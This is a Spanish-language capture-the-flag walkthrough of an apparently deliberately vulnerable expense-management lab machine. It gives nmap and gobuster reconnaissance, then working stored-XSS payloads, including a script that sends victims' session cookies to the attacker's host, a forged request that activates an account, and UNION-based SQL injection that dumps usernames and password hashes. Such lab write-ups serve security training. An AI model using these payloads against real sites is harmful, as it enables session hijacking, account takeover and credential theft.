Contenido
Reconocimiento
Primero que todo con el whichsistem.py comprobamos si estamos ante una maquina linux o windows
En este caso nos reportara que la maquina es linux
whichSystem.py 192.168.1.30
Seguidamente aplicamos un reconocimiento con Nmap
nmap -p- --open -T5 -sS -min-rate 5000 -vvv -n -Pn -oG allPorts 192.168.1.30
Todo esto ira a un archivo llamado allPorts, con este comando podremos ver la información mas fácil mente
extractPorts allPorts
Ahora que sabemos cuales puertos están abiertos podemos mandar con Nmap un conjunto de scripts de reconocimiento para verificar si alguno tiene una vulnerabilidad
- El -sCV es para juntar el -sC y el -sV en uno
- El -oN es para que nos exporte el resultado a un archivo targeted
nmap -sCV -p80,51045,51193,54585,59179 192.168.1.30 -oN targeted
Ahora vamos a hacer fuzzing con Gobuster para descubrir los directorios y archivos de esta web
gobuster dir -u http://192.168.1.30 -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
Esto nos mostrara lo siguiente:
Este escaneo nos ha mostrado una serie de directorios bastante interesantes, como el /admin
Nos vamos al /admin y con wapalicer podremos ver que la pagina usa PHP como lenguaje principal
Sabiendo esto podemos volver a usar Gobuster para hacer un análisis al /admin en busca de algún archivo PHP
gobuster dir -u http://192.168.1.30/admin/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php
Esto nos reportara un archivo admin.php
Si nos metemos en este archivo podremos ver algunas credenciales
Ahora vamos a crear una cuenta, ciclamos en donde pone “no tienes una cuenta” y metemos las credenciales
Pero cuando vamos a crear la cuenta vemos que el botón esta desactivado
Por lo que vamos a irnos al modo inspección (cntrl + shift + c) y modificar el botón de desabilitado a habilitado
Así podremos crear el usuario sin problemas
Explotación
Ahora que hemos comprobado que se puede crear el usuario podemos intentar insertar código JavaScript al crear este usuario (para que al abrir el admin.php nos ejecute este código en el parámetro del nombre o del apellido)
Ahora refescamos la pagina y comprobamos que efectivamente nos sale una alerta
Ahora vamos a comprobar que podemos recibir información:
- Primero abrimos un servidor HTTP por el puerto 80
python -m http.server 80
- Ahora creamos un usuario al que en vez de nombre y apellidos le insertamos este código:
<script src="http://192.168.1.25/pwned.js"></script>
- Esto hará que el administrador este haciendo constantemente peticiones a nuestro servidor en el puerto 80 buscando el pwned.js
Una vez tenemos esto podemos crear el pwned.js, en este pondremos las instrucciones para que nos habilite el usuario que tenemos desabilitado
Si clicamos donde pone inactive veremos que tramita una petición para activar el usuario pero como no tenemos permisos no nos deja
Así que vamos a hacer que el pwned.js nos tramite la petición como el usuario admin cuando este lo ejecute:
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.1.30/admin/admin.php?id=15&status=active');
request.send();
Esto hará que nos podamos conectar como Samuel ya que tenemos sus credenciales
Una vez que nos logeamos podemos ver como tienen un chat interno, y nos falta por tramitar la petición del pago.
Hacemos la petición del pago y ahora tenemos que conseguir un usuario con mas privilegios para aceptarlo
Si nos fijamos nuestro superior es Manon, y tenemos un chat con el, asiq podremos colarle un XSS por el chat, que nos conecte a nuestra maquina pidiendo el pwned.js por el 4646
En el pwned.js pondremos el código que nos mandara la cookie de sesión de esta persona cuando entre al chat (en este caso es la pagina de inicio)
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.1.25:4646/?cookie=' + document.cookie);
request.send();
Esto nos dará su cookie, ahora hay que sustituirla en nuestro navegador y aceptar el pago
Ahora que hemos validado el pago tenemos que aceptarlo, pero este usuario no tiene permisos suficientes, asiq vamos a hacernos con la cuenta del jefe de Manon el cual es un “Financial approver” por lo cual tendrá permisos para aceptar el tramite
Esta vez este usuario no mira el chat, por lo que va a ser difícil hacer un XSS
Pero esta parte de la pagina es venerable a una SQL Injection por lo que o vamos a aprovechar
En esta parte de aquí es donde inyectaremos el código SQL
Iremos probando pero acabaremos viendo que la query interna de servidor, en la parte del id = 2 no tiene comillas
Por lo que nos podemos aprovechar de esto para primero averiguar el numero de columnas que tiene (vamos probando hasta que no nos de error)
?id = 2 order by 2
Sabiendo que tiene dos columnas podemos usar un union select para representar algunos datos
?id = 2 union select 1,user()-- -
Ahora podremos usar lo mismo para listar las bases de datos existentes
?id = 2 union select 1,schema_name from information_schema.schemata-- -
Ahora listamos las tablas de la base de datos myexpense
Y listamos las columnas de la tabla user
Ahora podemos listar la información de los campos username y password separados por dos puntos (0x3a)
Copiamos todo y lo ponemos mas legible en el terminal, se vería así:
Como las contraseñas están encriptadas podemos usar esta para para desencriptarlas –> https://hashes.com/en/decrypt/hash
Vemos que están encriptadas en MD5SUM
Probamos con la contraseña del financial aprover y es “HackMe”
Nos logeamos como el y aceptamos el importe
Una vez hecho esto nos podemos meter en la cuenta de Samuel y ver como nos dan la flag y el pedido esta completado ; )